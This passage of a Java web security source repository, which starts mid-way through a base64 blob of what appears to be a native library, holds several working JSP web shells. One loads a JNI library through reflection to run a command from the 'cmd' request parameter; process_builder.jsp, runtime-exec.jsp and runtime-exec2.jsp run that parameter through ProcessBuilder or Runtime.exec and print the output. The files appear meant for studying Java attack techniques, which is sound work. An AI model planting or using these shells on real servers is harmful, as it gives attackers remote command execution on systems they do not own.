AABBAQAAAQAAAQAAAAAAAAAAVwEAAAEAAAIAAAAAAAAAAGkBAAABAAACAAAAAAAAAAB8AQAAAQAAAgAAAAAAAAAAgwEAAAEAAAIAAAAAAAAAAIsBAAABAAACAAAAAAAAAACTAQAAAQAAAgAAAAAAAAAAmgEAAAEAAAIAAAAAAAAAABwAAAAaAAAAGwAAAB0AAAAeAAAAHwAAACAAAAAiAAAAJAAAACUAAAAmAAAAJwAAACEAAAAjAAAAKAAAABwAAAAaAAAAGwAAAB0AAAAeAAAAHwAAACAAAAAiAAAAJAAAACUAAAAmAAAAJwAAACAAX0phdmFfY29tX2FuYmFpX3NlY19jbWRfQ29tbWFuZEV4ZWN1dGlvbl9leGVjAF9fWk43Sk5JRW52XzEyTmV3U3RyaW5nVVRGRVBLYwBfX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABfX1Vud2luZF9SZXN1bWUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTZhcHBlbmRFUEtjAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVEMUV2AF9fWlN0OXRlcm1pbmF0ZXYAX19fY3hhX2JlZ2luX2NhdGNoAF9fX2d4eF9wZXJzb25hbGl0eV92MABfX19zdGFja19jaGtfZmFpbABfX19zdGFja19jaGtfZ3VhcmQAX2ZnZXRzAF9tZW1zZXQAX3BjbG9zZQBfcG9wZW4AZHlsZF9zdHViX2JpbmRlcgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFQzFFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFcExFUEtjAF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNWNfc3RyRXYAX19fY2xhbmdfY2FsbF90ZXJtaW5hdGUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUMyRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMUV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU2X196ZXJvRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMkV2AF9fWk5TdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRUMyRXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU185YWxsb2NhdG9ySWNFRUxpMUVMYjFFRUMyRXYAX19aTlN0M19fMTlhbGxvY2F0b3JJY0VDMkV2AF9fWk5TdDNfXzExN19fY29tcHJlc3NlZF9wYWlySU5TXzEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTVfX3JlcEVTNV9FNWZpcnN0RXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU0ZGF0YUV2AF9fWk5TdDNfXzFMMTZfX3RvX3Jhd19wb2ludGVySUtjRUVQVF9TM18AX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxM19fZ2V0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTlfX2lzX2xvbmdFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19nZXRfbG9uZ19wb2ludGVyRXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOV9fZ2V0X3Nob3J0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RFdgBfX1pOS1N0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTlN0M19fMTE0cG9pbnRlcl90cmFpdHNJUEtjRTEwcG9pbnRlcl90b0VSUzFfAF9fWk5TdDNfXzFMOWFkZHJlc3NvZklLY0VFUFRfUlMyXwBHQ0NfZXhjZXB0X3RhYmxlMABfX2R5bGRfcHJpdmF0ZQAA"; 40 | 41 | /** 42 | * 获取JNI链接库目录 43 | * @return 返回缓存JNI的临时目录 44 | */ 45 | File getTempJNILibFile() { 46 | File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib"); 47 | 48 | if (!jniDir.exists()) { 49 | jniDir.mkdir(); 50 | } 51 | 52 | return new File(jniDir, "libcmd.lib"); 53 | } 54 | 55 | /** 56 | * 写JNI链接库文件 57 | * @param base64 JNI动态库Base64 58 | * @return 返回是否写入成功 59 | */ 60 | void writeJNILibFile(String base64) throws IOException { 61 | if (base64 != null) { 62 | 63 | File jniFile = getTempJNILibFile(); 64 | 65 | if (!jniFile.exists()) { 66 | byte[] bytes = new BASE64Decoder().decodeBuffer(base64); 67 | 68 | if (bytes != null) { 69 | FileOutputStream fos = new FileOutputStream(jniFile); 70 | fos.write(bytes); 71 | fos.flush(); 72 | fos.close(); 73 | } 74 | } 75 | } 76 | } 77 | %> 78 | <% 79 | // 需要执行的命令 80 | String cmd = request.getParameter("cmd"); 81 | 82 | // JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值 83 | String jniBytes = request.getParameter("jni"); 84 | 85 | // JNI路径 86 | File jniFile = getTempJNILibFile(); 87 | ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__"); 88 | 89 | if (loader == null) { 90 | loader = new ClassLoader(this.getClass().getClassLoader()) { 91 | @Override 92 | protected Class> findClass(String name) throws ClassNotFoundException { 93 | try { 94 | return super.findClass(name); 95 | } catch (ClassNotFoundException e) { 96 | return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length); 97 | } 98 | } 99 | }; 100 | 101 | writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录 102 | 103 | application.setAttribute("__LOADER__", loader); 104 | } 105 | 106 | try { 107 | // load命令执行类 108 | Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution"); 109 | Object loadLib = application.getAttribute("__LOAD_LIB__"); 110 | 111 | if (loadLib == null || !((Boolean) loadLib)) { 112 | Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class); 113 | loadLibrary0Method.setAccessible(true); 114 | loadLibrary0Method.invoke(loader, commandClass, jniFile); 115 | application.setAttribute("__LOAD_LIB__", true); 116 | } 117 | 118 | String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd); 119 | out.println("
"); 120 | out.println(content); 121 | out.println(""); 122 | } catch (Exception e) { 123 | out.println(e.toString()); 124 | throw e; 125 | } 126 | 127 | %> -------------------------------------------------------------------------------- /javaweb-sec-source/javase/src/main/webapp/process_builder.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: yz 4 | Date: 2019/12/6 5 | Time: 10:26 上午 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | <%@ page import="java.io.ByteArrayOutputStream" %> 10 | <%@ page import="java.io.InputStream" %> 11 | <% 12 | InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream(); 13 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 14 | byte[] b = new byte[1024]; 15 | int a = -1; 16 | 17 | while ((a = in.read(b)) != -1) { 18 | baos.write(b, 0, a); 19 | } 20 | 21 | out.write("
" + new String(baos.toByteArray()) + ""); 22 | %> -------------------------------------------------------------------------------- /javaweb-sec-source/javase/src/main/webapp/runtime-exec.jsp: -------------------------------------------------------------------------------- 1 | <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%> -------------------------------------------------------------------------------- /javaweb-sec-source/javase/src/main/webapp/runtime-exec2.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: yz 4 | Date: 2019/12/5 5 | Time: 6:21 下午 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | <%@ page import="java.io.ByteArrayOutputStream" %> 10 | <%@ page import="java.io.InputStream" %> 11 | <% 12 | InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 13 | 14 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 15 | byte[] b = new byte[1024]; 16 | int a = -1; 17 | 18 | while ((a = in.read(b)) != -1) { 19 | baos.write(b, 0, a); 20 | } 21 | 22 | out.write("
" + new String(baos.toByteArray()) + ""); 23 | %> -------------------------------------------------------------------------------- /javaweb-sec-source/javaweb-sec-utils/pom.xml: -------------------------------------------------------------------------------- 1 | 2 |